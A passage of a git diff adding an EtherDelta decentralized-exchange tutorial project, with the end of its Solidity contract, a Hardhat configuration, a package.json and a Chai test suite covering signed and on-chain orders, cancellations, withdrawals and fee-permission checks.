+        tokens[tokenGive][user] = SafeMath.sub(
+            tokens[tokenGive][user],
+            SafeMath.mul(amountGive, amount) / amountGet
+        );
+        tokens[tokenGive][msg.sender] = SafeMath.add(
+            tokens[tokenGive][msg.sender],
+            SafeMath.mul(amountGive, amount) / amountGet
+        );
+    }
+
+    function availableVolume(OrderSigned memory orderSigned)
+        public
+        view
+        returns (uint256)
+    {
+        bytes32 hash = keccak256(
+            abi.encodePacked(
+                address(this),
+                orderSigned.tokenGet,
+                orderSigned.amountGet,
+                orderSigned.tokenGive,
+                orderSigned.amountGive,
+                orderSigned.expires,
+                orderSigned.nonce
+            )
+        );
+        if (
+            !((orders[orderSigned.user][hash] ||
+                ecrecover(
+                    keccak256(
+                        abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
+                    ),
+                    orderSigned.v,
+                    orderSigned.r,
+                    orderSigned.s
+                ) ==
+                orderSigned.user) && block.number <= orderSigned.expires)
+        ) return 0;
+        uint256 available1 = SafeMath.sub(
+            orderSigned.amountGet,
+            orderFills[orderSigned.user][hash]
+        );
+        uint256 available2 = SafeMath.mul(
+            tokens[orderSigned.tokenGive][orderSigned.user],
+            orderSigned.amountGet
+        ) / orderSigned.amountGive;
+        if (available1 < available2) return available1;
+        return available2;
+    }
+
+    function amountFilled(OrderSigned memory orderSigned)
+        public
+        view
+        returns (uint256)
+    {
+        bytes32 hash = keccak256(
+            abi.encodePacked(
+                address(this),
+                orderSigned.tokenGet,
+                orderSigned.amountGet,
+                orderSigned.tokenGive,
+                orderSigned.amountGive,
+                orderSigned.expires,
+                orderSigned.nonce
+            )
+        );
+        return orderFills[orderSigned.user][hash];
+    }
+
+    function cancelOrder(OrderSigned memory orderSigned) public {
+        bytes32 hash = keccak256(
+            abi.encodePacked(
+                address(this),
+                orderSigned.tokenGet,
+                orderSigned.amountGet,
+                orderSigned.tokenGive,
+                orderSigned.amountGive,
+                orderSigned.expires,
+                orderSigned.nonce
+            )
+        );
+        require(
+            (orders[msg.sender][hash] ||
+                ecrecover(
+                    keccak256(
+                        abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
+                    ),
+                    orderSigned.v,
+                    orderSigned.r,
+                    orderSigned.s
+                ) ==
+                msg.sender)
+        );
+        orderFills[msg.sender][hash] = orderSigned.amountGet;
+        emit Cancel(
+            orderSigned.tokenGet,
+            orderSigned.amountGet,
+            orderSigned.tokenGive,
+            orderSigned.amountGive,
+            orderSigned.expires,
+            orderSigned.nonce,
+            msg.sender,
+            orderSigned.v,
+            orderSigned.r,
+            orderSigned.s
+        );
+    }
+}
diff --git a/basic/13-decentralized-exchange/EtherDelta/hardhat.config.js b/basic/13-decentralized-exchange/EtherDelta/hardhat.config.js
new file mode 100644
index 000000000..118021261
--- /dev/null
+++ b/basic/13-decentralized-exchange/EtherDelta/hardhat.config.js
@@ -0,0 +1,31 @@
+const fs = require("fs");
+require("@nomicfoundation/hardhat-ethers");
+require("@nomicfoundation/hardhat-chai-matchers");
+// load privateKeys to harhat network
+function loadTestAccounts() {
+  const privateKyes = JSON.parse(fs.readFileSync("./testAccounts.json"));
+  return privateKyes.map((_privateKey, index) => ({
+    mnemonic: _privateKey,
+    privateKey: _privateKey,
+    initialIndex: index,
+    // path: 'm/44'/60'/0'/0'
+    count: 20,
+    accountsBalance: "100000000000000000000000000",
+    balance: "100000000000000000000000000"
+  }))
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: "0.8.4",
+  networks: {
+    hardhat: {
+      accounts: loadTestAccounts()
+    },
+    localhost: {
+      url: "http://localhost:8545",
+    }
+  }
+};
diff --git a/basic/13-decentralized-exchange/EtherDelta/package.json b/basic/13-decentralized-exchange/EtherDelta/package.json
new file mode 100644
index 000000000..5aa2e3957
--- /dev/null
+++ b/basic/13-decentralized-exchange/EtherDelta/package.json
@@ -0,0 +1,16 @@
+{
+  "name": "etherdelta",
+  "scripts": {
+    "build": "npx hardhat compile --show-stack-traces",
+    "test": "npx hardhat test"
+  },
+  "dependencies": {
+    "@openzeppelin/contracts": "^4.1.0",
+    "hardhat": "^2.4.1"
+  },
+  "devDependencies": {
+    "@nomicfoundation/hardhat-chai-matchers": "^2.0.6",
+    "@nomicfoundation/hardhat-ethers": "^3.0.5",
+    "ethers": "^6.11.1"
+  }
+}
diff --git a/basic/13-decentralized-exchange/EtherDelta/test/EtherDelta.test.js b/basic/13-decentralized-exchange/EtherDelta/test/EtherDelta.test.js
new file mode 100644
index 000000000..e37ad8fe5
--- /dev/null
+++ b/basic/13-decentralized-exchange/EtherDelta/test/EtherDelta.test.js
@@ -0,0 +1,1025 @@
+const { expect } = require('chai');
+const hre = require('hardhat');
+const ethers = hre.ethers;
+const fs = require('fs');
+const testAccounts = JSON.parse(fs.readFileSync('./testAccounts.json'));
+
+const {
+  solidityPacked,
+  concat,
+  toUtf8Bytes,
+  keccak256,
+  SigningKey,
+  encodeBytes32String,
+} = ethers;
+
+const toWei = (value) => ethers.parseEther(value.toString());
+const fromWei = (value) =>
+  ethers.formatEther(typeof value === 'string' ? value : value.toString());
+
+const getBalance = ethers.provider.getBalance;
+
+const ADDRESS_ZERO = '0x0000000000000000000000000000000000000000';
+
+describe('EtherDelta', () => {
+  let feeAccount;
+  let admin;
+  let feeMake;
+  let feeTake;
+  let feeRebate;
+
+  let token1;
+  let token2;
+  let accountLevelsTest;
+  let etherDelta;
+
+  beforeEach(async () => {
+    [owner, user1, user2] = await ethers.getSigners();
+    // 加载privateKey
+    owner.privateKey = testAccounts[0];
+    user1.privateKey = testAccounts[1];
+    user2.privateKey = testAccounts[2];
+    feeAccount = owner.address;
+    admin = owner.address;
+    // 费率先toWei,后面需要再除以 toWei，保证整数运算
+    feeMake = toWei(0.0005); // 买家佣金费率
+    feeTake = toWei(0.003); // 卖家佣金费率
+    feeRebate = toWei(0.002); // 会员反佣费率
+
+    // ReserveToken
+    // token1
+    token1 = await ethers.deployContract('ReserveToken');
+
+    // token2
+    token2 = await ethers.deployContract('ReserveToken');
+
+    // AccountLevelsTest
+    accountLevelsTest = await ethers.deployContract('AccountLevelsTest');
+    const accountLevelsTestAddress = await accountLevelsTest.getAddress();
+
+    etherDelta = await ethers.deployContract('EtherDelta', [admin, feeAccount, accountLevelsTestAddress, feeMake, feeTake, feeRebate]);
+    // [admin, feeAccount, contractAccountLevelsAddr, feeMake, feeTake, feeRebate]
+  });
+
+  it('Should mint some tokens', async () => {
+    const amount = toWei(10000);
+
+    // token1
+    await token1.create(user1.address, amount);
+    expect(await token1.balanceOf(user1.address)).to.equal(amount);
+    expect(await token1.totalSupply()).to.equal(amount);
+
+    // token2
+    await token2.create(user1.address, amount);
+    expect(await token2.balanceOf(user1.address)).to.equal(amount);
+    expect(await token2.totalSupply()).to.equal(amount);
+  });
+
+  it('Should add funds to etherdelta', async () => {
+    const token1Address = await token1.getAddress();
+    const token2Address = await token2.getAddress();
+    const etherDeltaAddress = await etherDelta.getAddress();
+    const amount = toWei(1000);
+
+    // 并行处理多个异步操作
+    await Promise.all([
+      // deposit eth
+      etherDelta.connect(user1).deposit({ value: amount }),
+      // deposit token1
+      token1.create(user1.address, amount)
+        .then(() => token1.connect(user1).approve(etherDeltaAddress, amount))
+        .then(() => etherDelta.connect(user1).depositToken(token1Address, amount)),
+      // deposit token2
+      token2.create(user1.address, amount)
+        .then(() => token2.connect(user1).approve(etherDeltaAddress, amount))
+        .then(() => etherDelta.connect(user1).depositToken(token2Address, amount)),
+    ]);
+
+    // 验证余额
+    expect(await etherDelta.balanceOf(ADDRESS_ZERO, user1.address)).to.equal(amount);
+    expect(await etherDelta.balanceOf(token1Address, user1.address)).to.equal(amount);
+    expect(await etherDelta.balanceOf(token2Address, user1.address)).to.equal(amount);
+  });
+
+
+  // 交易前为账户准备token并向交易所授权，存入
+  async function prepareTokens() {
+
+    const token1Address = await token1.getAddress();
+    const token2Address = await token2.getAddress();
+    const etherDeltaAddress = await etherDelta.getAddress();
+
+    const _tokenAmountInit = toWei(100000);
+
+    await etherDelta.connect(user1).deposit({ value: toWei(100) });
+    await etherDelta.connect(user2).deposit({ value: toWei(100) });
+
+    await token1.create(user1.address, _tokenAmountInit);
+    await token1.connect(user1).approve(etherDeltaAddress, _tokenAmountInit);
+    await etherDelta
+      .connect(user1)
+      .depositToken(token1Address, _tokenAmountInit);
+    await token2.create(user1.address, _tokenAmountInit);
+    await token2.connect(user1).approve(etherDeltaAddress, _tokenAmountInit);
+    await etherDelta
+      .connect(user1)
+      .depositToken(token2Address, _tokenAmountInit);
+    await token1.create(user2.address, _tokenAmountInit);
+    await token1.connect(user2).approve(etherDeltaAddress, _tokenAmountInit);
+    await etherDelta
+      .connect(user2)
+      .depositToken(token1Address, _tokenAmountInit);
+    await token2.create(user2.address, _tokenAmountInit);
+    await token2.connect(user2).approve(etherDeltaAddress, _tokenAmountInit);
+    await etherDelta
+      .connect(user2)
+      .depositToken(token2Address, _tokenAmountInit);
+  }
+
+  // 查询各个账户余额情况
+  async function checkUsersBlance() {
+    const token1Address = await token1.getAddress();
+    const token2Address = await token2.getAddress();
+
+    const feeBalance1 = await etherDelta.balanceOf(token1Address, feeAccount);
+    const feeBalance2 = await etherDelta.balanceOf(token2Address, feeAccount);
+
+    const balance11 = await etherDelta.balanceOf(token1Address, user1.address);
+    const balance12 = await etherDelta.balanceOf(token1Address, user2.address);
+
+    const balance21 = await etherDelta.balanceOf(token2Address, user1.address);
+    const balance22 = await etherDelta.balanceOf(token2Address, user2.address);
+
+    return [
+      feeBalance1,
+      feeBalance2,
+      balance11,
+      balance12,
+      balance21,
+      balance22,
+    ];
+  }
+
+  // 签名获得 v, r, s
+  async function signOrder(
+    tokenGet,
+    amountGet,
+    tokenGive,
+    amountGive,
+    expires,
+    orderNonce,
+    user,
+  ) {
+    const etherDeltaAddress = await etherDelta.getAddress();
+    let hash = keccak256(
+      solidityPacked(
+        [
+          'address',
+          'address',
+          'uint256',
+          'address',
+          'uint256',
+          'uint256',
+          'uint256',
+        ],
+        [
+          etherDeltaAddress,
+          tokenGet,
+          amountGet,
+          tokenGive,
+          amountGive,
+          expires,
+          orderNonce,
+        ],
+      ),
+    );
+
+    // console.log('hash', hash.length, hash)
+    const messagePrefix = '\x19Ethereum Signed Message:\n';
+    hash = keccak256(
+      concat([toUtf8Bytes(messagePrefix), toUtf8Bytes(String(32)), hash]),
+    );
+
+    const signingKey = new SigningKey(user.privateKey);
+    const signature = signingKey.sign(hash);
+    const { v, r, s } = signature;
+
+    return {
+      tokenGet,
+      amountGet,
+      tokenGive,
+      amountGive,
+      expires,
+      nonce: orderNonce,
+      user: user.address,
+      v,
+      r,
+      s,
+    };
+  }
+
+  it('Should do some trades initiated offchain', async () => {
+    await prepareTokens();
+    const token1Address = await token1.getAddress();
+    const token2Address = await token2.getAddress();
+
+    async function testTradeOffChain(
+      expiresIn,
+      orderNonce,
+      tokenGet,
+      tokenGive,
+      amountGet,
+      amountGive,
+      amount,
+      accountLevel,
+    ) {
+      let expires = await ethers.provider.getBlockNumber();
+      expires += expiresIn;
+
+      const orderSigned = await signOrder(
+        tokenGet,
+        amountGet,
+        tokenGive,
+        amountGive,
+        expires,
+        orderNonce,
+        user1,
+      );
+
+      await accountLevelsTest.setAccountLevel(user1.address, accountLevel);
+      const level = await accountLevelsTest.accountLevel(user1.address);
+
+      const [
+        initialFeeBalance1,
+        initialFeeBalance2,
+        initialBalance11,
+        initialBalance12,
+        initialBalance21,
+        initialBalance22,
+      ] = await checkUsersBlance();
+
+      // await etherDelta
+      //   .connect(user1)
+      //   .order(tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce)
+
+      await etherDelta.connect(user2).trade(orderSigned, amount);
+
+      const [
+        feeBalance1,
+        feeBalance2,
+        balance11,
+        balance12,
+        balance21,
+        balance22,
+      ] = await checkUsersBlance();
+
+      const availableVolume = await etherDelta.availableVolume(orderSigned);
+      expect(availableVolume).to.equal(amountGet - amount);
+
+      const amountFilled = await etherDelta.amountFilled(orderSigned);
+      expect(amountFilled).to.equal(amount);
+
+      const feeMakeXfer = amount * feeMake / toWei(1);
+      const feeTakeXfer = amount * feeTake / (toWei(1));
+      let feeRebateXfer = 0n;
+      if (Number(level) === 1)
+        feeRebateXfer = amount * feeRebate / toWei(1);
+      if (Number(level) === 2) feeRebateXfer = feeTakeXfer;
+
+      expect(
+        initialFeeBalance1 + (initialBalance11) + (initialBalance12),
+      ).to.equal(feeBalance1 + (balance11) + (balance12));
+      expect(
+        initialFeeBalance2 + (initialBalance21) + (initialBalance22),
+      ).to.equal(feeBalance2 + (balance21) + (balance22));
+      expect(feeBalance1 - (initialFeeBalance1)).to.equal(
+        feeMakeXfer + (feeTakeXfer) - (feeRebateXfer),
+      );
+      expect(balance11).to.equal(
+        initialBalance11 + (amount) - (feeMakeXfer) + (feeRebateXfer),
+      );
+      expect(balance12).to.equal(initialBalance12 - (amount + (feeTakeXfer)));
+      expect(balance21).to.equal(
+        initialBalance21 - (amount * (amountGive) / (amountGet)),
+      );
+      expect(balance22).to.equal(
+        initialBalance22 + (amount * (amountGive) / (amountGet)),
+      );
+    }
+
+    const trades = [
+      {
+        expires: 10,
+        orderNonce: 1,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: toWei(50),
+        amountGive: toWei(25),
+        amount: toWei(25),
+        accountLevel: 0,
+      },
+      {
+        expires: 10,
+        orderNonce: 2,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: toWei(50),
+        amountGive: toWei(25),
+        amount: toWei(25),
+        accountLevel: 1,
+      },
+      {
+        expires: 10,
+        orderNonce: 3,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: BigInt(50),
+        amountGive: BigInt(25),
+        amount: BigInt(25),
+        accountLevel: 2,
+      },
+    ];
+
+    for (let i = 0; i < trades.length; i++) {
+      const trade = trades[i];
+      await testTradeOffChain(
+        trade.expires,
+        trade.orderNonce,
+        trade.tokenGet,
+        trade.tokenGive,
+        trade.amountGet,
+        trade.amountGive,
+        trade.amount,
+        trade.accountLevel,
+      );
+    }
+  });
+
+  it('Should do some trades initiated onchain', async () => {
+    await prepareTokens();
+    const etherDeltaAddress = await etherDelta.getAddress();
+
+    async function testTradeOnChain(
+      expiresIn,
+      orderNonce,
+      tokenGet,
+      tokenGive,
+      amountGet,
+      amountGive,
+      amount,
+      accountLevel,
+    ) {
+      let expires = await ethers.provider.getBlockNumber();
+      expires += expiresIn;
+
+      await accountLevelsTest.setAccountLevel(user1.address, accountLevel);
+      const level = await accountLevelsTest.accountLevel(user1.address);
+
+      const [
+        initialFeeBalance1,
+        initialFeeBalance2,
+        initialBalance11,
+        initialBalance12,
+        initialBalance21,
+        initialBalance22,
+      ] = await checkUsersBlance();
+
+      const orderNotSigned = {
+        tokenGet: tokenGet,
+        amountGet: amountGet,
+        tokenGive: tokenGive,
+        amountGive: amountGive,
+        expires: expires,
+        nonce: orderNonce,
+        user: user1.address,
+        v: 0,
+        r: encodeBytes32String('0'),
+        s: encodeBytes32String('0'),
+      };
+      // await etherDelta
+      //   .connect(user1)
+      //   .order(tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce)
+
+      await etherDelta.connect(user1).order(tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce);
+      await etherDelta.connect(user2).trade(orderNotSigned, amount);
+
+      const [
+        feeBalance1,
+        feeBalance2,
+        balance11,
+        balance12,
+        balance21,
+        balance22,
+      ] = await checkUsersBlance();
+
+      const availableVolume = await etherDelta.availableVolume(orderNotSigned);
+      expect(availableVolume).to.equal(amountGet - (amount));
+
+      const amountFilled = await etherDelta.amountFilled(orderNotSigned);
+      expect(amountFilled).to.equal(amount);
+
+      const feeMakeXfer = amount * (feeMake) / (toWei(1));
+      const feeTakeXfer = amount * (feeTake) / (toWei(1));
+      let feeRebateXfer = 0n;
+      if (Number(level) === 1)
+        feeRebateXfer = amount * (feeRebate) / (toWei(1));
+      if (Number(level) === 2) feeRebateXfer = feeTakeXfer;
+
+      expect(
+        initialFeeBalance1 + (initialBalance11) + (initialBalance12),
+      ).to.equal(feeBalance1 + (balance11) + (balance12));
+      expect(
+        initialFeeBalance2 + (initialBalance21) + (initialBalance22),
+      ).to.equal(feeBalance2 + (balance21) + (balance22));
+      expect(feeBalance1 - (initialFeeBalance1)).to.equal(
+        feeMakeXfer + (feeTakeXfer) - (feeRebateXfer),
+      );
+      expect(balance11).to.equal(
+        initialBalance11 + (amount) - (feeMakeXfer) + (feeRebateXfer),
+      );
+      expect(balance12).to.equal(initialBalance12 - (amount + (feeTakeXfer)));
+      expect(balance21).to.equal(
+        initialBalance21 - (amount * (amountGive) / (amountGet)),
+      );
+      expect(balance22).to.equal(
+        initialBalance22 + (amount * (amountGive) / (amountGet)),
+      );
+    }
+
+    const token1Address = await token1.getAddress();
+    const token2Address = await token2.getAddress();
+
+    const trades = [
+      {
+        expires: 10,
+        orderNonce: 1,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: toWei(50),
+        amountGive: toWei(25),
+        amount: toWei(25),
+        accountLevel: 0,
+      },
+      {
+        expires: 10,
+        orderNonce: 2,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: toWei(50),
+        amountGive: toWei(25),
+        amount: toWei(25),
+        accountLevel: 1,
+      },
+      {
+        expires: 10,
+        orderNonce: 3,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: BigInt(50),
+        amountGive: BigInt(25),
+        amount: BigInt(25),
+        accountLevel: 2,
+      },
+    ];
+
+    for (let i = 0; i < trades.length; i++) {
+      const trade = trades[i];
+      await testTradeOnChain(
+        trade.expires,
+        trade.orderNonce,
+        trade.tokenGet,
+        trade.tokenGive,
+        trade.amountGet,
+        trade.amountGive,
+        trade.amount,
+        trade.accountLevel,
+      );
+    }
+  });
+
+  it('Should place an order offchain, check availableVolume and amountFilled, then cancel', async () => {
+    await prepareTokens();
+
+    async function testCancelOffChain(
+      expiresIn,
+      orderNonce,
+      tokenGet,
+      tokenGive,
+      amountGet,
+      amountGive,
+      amount,
+    ) {
+      let expires = await ethers.provider.getBlockNumber();
+      expires += expiresIn;
+
+      // await etherDelta
+      //   .connect(user1)
+      //   .order(tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce);
+
+      const orderSigned = await signOrder(
+        tokenGet,
+        amountGet,
+        tokenGive,
+        amountGive,
+        expires,
+        orderNonce,
+        user1,
+      );
+
+      const availableVolume1 = await etherDelta.availableVolume(orderSigned);
+      expect(availableVolume1).to.equal(amountGet);
+
+      const amountFilled1 = await etherDelta.amountFilled(orderSigned);
+      expect(amountFilled1).to.equal(toWei(0));
+
+      await etherDelta.connect(user1).cancelOrder(orderSigned);
+
+      const availableVolume2 = await etherDelta.availableVolume(orderSigned);
+      expect(availableVolume2).to.equal(toWei(0));
+
+      const amountFilled2 = await etherDelta.amountFilled(orderSigned);
+      expect(amountFilled2).to.equal(amountGet);
+    }
+
+    const token1Address = await token1.getAddress();
+    const token2Address = await token2.getAddress();
+
+    const trades = [
+      {
+        expires: 10,
+        orderNonce: 7,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: toWei(50),
+        amountGive: toWei(25),
+        amount: toWei(25),
+      },
+      {
+        expires: 10,
+        orderNonce: 8,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: BigInt(50),
+        amountGive: BigInt(25),
+        amount: BigInt(25),
+      },
+    ];
+
+    for (let i = 0; i < trades.length; i++) {
+      const trade = trades[i];
+      await testCancelOffChain(
+        trade.expires,
+        trade.orderNonce,
+        trade.tokenGet,
+        trade.tokenGive,
+        trade.amountGet,
+        trade.amountGive,
+        trade.amount,
+      );
+    }
+  });
+
+  it('Should place an order onchain, check availableVolume and amountFilled, then cancel', async () => {
+    await prepareTokens();
+
+    async function testCancelOnChain(
+      expiresIn,
+      orderNonce,
+      tokenGet,
+      tokenGive,
+      amountGet,
+      amountGive,
+      amount,
+    ) {
+      let expires = await ethers.provider.getBlockNumber();
+      expires += expiresIn;
+
+      await etherDelta
+        .connect(user1)
+        .order(tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce);
+
+      const orderNotSigned = {
+        tokenGet: tokenGet,
+        amountGet: amountGet,
+        tokenGive: tokenGive,
+        amountGive: amountGive,
+        expires: expires,
+        nonce: orderNonce,
+        user: user1.address,
+        v: 0,
+        r: encodeBytes32String('0'),
+        s: encodeBytes32String('0'),
+      };
+
+      const availableVolume1 = await etherDelta.availableVolume(orderNotSigned);
+      expect(availableVolume1).to.equal(amountGet);
+
+      const amountFilled1 = await etherDelta.amountFilled(orderNotSigned);
+      expect(amountFilled1).to.equal(toWei(0));
+
+      await etherDelta.connect(user1).cancelOrder(orderNotSigned);
+
+      const availableVolume2 = await etherDelta.availableVolume(orderNotSigned);
+      expect(availableVolume2).to.equal(toWei(0));
+
+      const amountFilled2 = await etherDelta.amountFilled(orderNotSigned);
+      expect(amountFilled2).to.equal(amountGet);
+    }
+
+    const token1Address = await token1.getAddress();
+    const token2Address = await token2.getAddress();
+
+    const trades = [
+      {
+        expires: 10,
+        orderNonce: 7,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: toWei(50),
+        amountGive: toWei(25),
+        amount: toWei(25),
+      },
+      {
+        expires: 10,
+        orderNonce: 8,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: BigInt(50),
+        amountGive: BigInt(25),
+        amount: BigInt(25),
+      },
+    ];
+
+    for (let i = 0; i < trades.length; i++) {
+      const trade = trades[i];
+      await testCancelOnChain(
+        trade.expires,
+        trade.orderNonce,
+        trade.tokenGet,
+        trade.tokenGive,
+        trade.amountGet,
+        trade.amountGive,
+        trade.amount,
+      );
+    }
+  });
+
+  it('Should do a trade and check available volume depletion', async () => {
+    await prepareTokens();
+
+    async function testDepletion(
+      expiresIn,
+      orderNonce,
+      tokenGet,
+      tokenGive,
+      amountGet,
+      amountGive,
+      amount,
+    ) {
+      let expires = await ethers.provider.getBlockNumber();
+      expires += expiresIn;
+
+      const orderSigned = await signOrder(
+        tokenGet,
+        amountGet,
+        tokenGive,
+        amountGive,
+        expires,
+        orderNonce,
+        user1,
+      );
+
+      await etherDelta
+        .connect(user1)
+        .order(tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce);
+
+      await etherDelta.connect(user2).trade(orderSigned, amount);
+
+      const availableVolume = await etherDelta.availableVolume(orderSigned);
+      expect(availableVolume).to.equal(amountGet - (amount));
+    }
+
+    const token1Address = await token1.getAddress();
+    const token2Address = await token2.getAddress();
+
+    const trades = [
+      {
+        expires: 1000,
+        orderNonce: 11,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: toWei(50),
+        amountGive: toWei(25),
+        amount: toWei(50) / (2n),
+        accountLevel: 0,
+      },
+    ];
+
+    for (let i = 0; i < trades.length; i++) {
+      const trade = trades[i];
+      await testDepletion(
+        trade.expires,
+        trade.orderNonce,
+        trade.tokenGet,
+        trade.tokenGive,
+        trade.amountGet,
+        trade.amountGive,
+        trade.amount,
+        trade.accountLevel,
+      );
+    }
+  });
+
+  it('Should do a self trade and check available volume depletion', async () => {
+    await prepareTokens();
+
+    async function testSelfDepletion(
+      expiresIn,
+      orderNonce,
+      tokenGet,
+      tokenGive,
+      amountGet,
+      amountGive,
+      amount,
+    ) {
+      let expires = await ethers.provider.getBlockNumber();
+      expires += expiresIn;
+
+      const orderSigned = await signOrder(
+        tokenGet,
+        amountGet,
+        tokenGive,
+        amountGive,
+        expires,
+        orderNonce,
+        user1,
+      );
+
+      await etherDelta
+        .connect(user1)
+        .order(tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce);
+
+      await etherDelta.connect(user1).trade(orderSigned, amount);
+
+      const availableVolume = await etherDelta.availableVolume(orderSigned);
+      expect(availableVolume).to.equal(amountGet - (amount));
+    }
+
+    const token1Address = await token1.getAddress();
+    const token2Address = await token2.getAddress();
+
+    const trades = [
+      {
+        expires: 1000,
+        orderNonce: 11,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: toWei(50),
+        amountGive: toWei(25),
+        amount: toWei(50) / (2n),
+        accountLevel: 0,
+      },
+    ];
+
+    for (let i = 0; i < trades.length; i++) {
+      const trade = trades[i];
+      await testSelfDepletion(
+        trade.expires,
+        trade.orderNonce,
+        trade.tokenGet,
+        trade.tokenGive,
+        trade.amountGet,
+        trade.amountGive,
+        trade.amount,
+        trade.accountLevel,
+      );
+    }
+  });
+
+  it('Should attempt some trades initiated onchain that should fail', async () => {
+    await prepareTokens();
+
+    const [
+      initialFeeBalance1,
+      initialFeeBalance2,
+      initialBalance11,
+      initialBalance12,
+      initialBalance21,
+      initialBalance22,
+    ] = await checkUsersBlance();
+
+    async function testTradeFail(
+      expiresIn,
+      orderNonce,
+      tokenGet,
+      tokenGive,
+      amountGet,
+      amountGive,
+      amount,
+    ) {
+      let expires = await ethers.provider.getBlockNumber();
+      expires += expiresIn;
+
+      const orderNotSigned = {
+        tokenGet: tokenGet,
+        amountGet: amountGet,
+        tokenGive: tokenGive,
+        amountGive: amountGive,
+        expires: expires,
+        nonce: orderNonce,
+        user: user1.address,
+        v: 0,
+        r: encodeBytes32String('0'),
+        s: encodeBytes32String('0'),
+      };
+
+      await etherDelta.connect(user1).order(tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce);
+      await expect(etherDelta.connect(user2).trade(orderNotSigned, amount)).to.be.reverted;
+
+    }
+
+    const token1Address = await token1.getAddress();
+    const token2Address = await token2.getAddress();
+
+    const trades = [
+      {
+        expires: 10,
+        orderNonce: 1,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: toWei(50),
+        amountGive: toWei(25),
+        amount: toWei(51),
+      },
+      {
+        expires: 10,
+        orderNonce: 2,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: toWei(50),
+        amountGive: initialBalance21 + 1n,
+        amount: toWei(25),
+      },
+      {
+        expires: 10,
+        orderNonce: 3,
+        tokenGet: token1Address,
+        tokenGive: token2Address,
+        amountGet: initialBalance12,
+        amountGive: BigInt(25),
+        amount: initialBalance12 + 1n,
+      },
+    ];
+
+    for (let i = 0; i < trades.length; i++) {
+      const trade = trades[i];
+      await testTradeFail(
+        trade.expires,
+        trade.orderNonce,
+        trade.tokenGet,
+        trade.tokenGive,
+        trade.amountGet,
+        trade.amountGive,
+        trade.amount,
+        trade.accountLevel,
+      );
+    }
+  });
+
+  it('Should do a token withdrawal', async () => {
+    await prepareTokens();
+
+    const token1Address = await token1.getAddress();
+    const token2Address = await token2.getAddress();
+
+    const amount = toWei(100);
+
+    const initialBalance = await etherDelta.balanceOf(
+      token1Address,
+      user1.address,
+    );
+    const initialTokenBalance = await token1.balanceOf(user1.address);
+
+    await etherDelta.connect(user1).withdrawToken(token1Address, amount);
+
+    const finalBalance = await etherDelta.balanceOf(
+      token1Address,
+      user1.address,
+    );
+    const finalTokenBalance = await token1.balanceOf(user1.address);
+
+    expect(finalBalance).to.equal(initialBalance - (amount));
+    expect(finalTokenBalance).to.equal(initialTokenBalance + (amount));
+  });
+
+  it('Should do a Ether withdrawal', async () => {
+    await prepareTokens();
+
+    const amount = toWei(10);
+
+    const initialBalance = await etherDelta.balanceOf(
+      ADDRESS_ZERO,
+      user1.address,
+    );
+    //const initialEthBalance = await getBalance(user1.address);
+    const initialEthBalance = await ethers.provider.getBalance(user1.address);
+    // 预估gas 费用
+    const gas = await etherDelta.connect(user1).withdraw.estimateGas(amount);
+    const gasPrice = (await ethers.provider.getFeeData()).gasPrice;
+    const gasFee = gas * (gasPrice);
+    await etherDelta.connect(user1).withdraw(amount);
+
+    const finalBalance = await etherDelta.balanceOf(
+      ADDRESS_ZERO,
+      user1.address,
+    );
+    const finalEthBalance = await ethers.provider.getBalance(user1.address);
+
+    expect(finalBalance).to.equal(initialBalance - (amount));
+    expect(finalEthBalance + (gasFee)).to.equal(initialEthBalance + (amount));
+  });
+
+  describe('tests need prepareTokens', () => {
+
+    beforeEach(async () => {
+      await prepareTokens();
+    });
+
+    it('Should change the account levels address and fail', async () => {
+      await expect(etherDelta.connect(user1).changeAccountLevelsAddr(ADDRESS_ZERO)).to.be.revertedWith('No permission');
+    });
+
+    it('Should change the account levels address and success', async () => {
+      await etherDelta.connect(owner).changeAccountLevelsAddr(ADDRESS_ZERO);
+      expect(await etherDelta.accountLevelsAddr()).to.equal(ADDRESS_ZERO);
+
+    });
+
+    it('Should change the fee account and fail', async () => {
+      await expect(etherDelta.connect(user1).changeFeeAccount(ADDRESS_ZERO)).to.be.revertedWith('No permission');
+    });
+
+    it('Should change the fee account and succeed', async () => {
+      await etherDelta.connect(owner).changeFeeAccount(user1.address);
+      expect(await etherDelta.feeAccount()).to.equal(user1.address);
+    });
+
+    it('Should change the make fee and fail', async () => {
+      await expect(etherDelta.connect(user1).changeFeeMake(feeMake)).to.be.revertedWith('No permission');
+    });
+
+    it('Should change the make fee and fail because the make fee can only decrease', async () => {
+      await expect(etherDelta.connect(owner).changeFeeMake(feeMake * (2n))).to.be.reverted;
+    });
+
+    it('Should change the make fee and succeed', async () => {
+      await etherDelta.connect(owner).changeFeeMake(feeMake / (2n));
+      expect(await etherDelta.feeMake()).to.equal(feeMake / (2n));
+    });
+
+    it('Should change the take fee and fail', async () => {
+      await expect(etherDelta.connect(user1).changeFeeTake(feeTake)).to.be.revertedWith('No permission');
+    });
+
+    it('Should change the take fee and fail because the take fee can only decrease', async () => {
+      await expect(etherDelta.connect(owner).changeFeeTake(feeTake * (2n))).to.be.reverted;
+    });
+
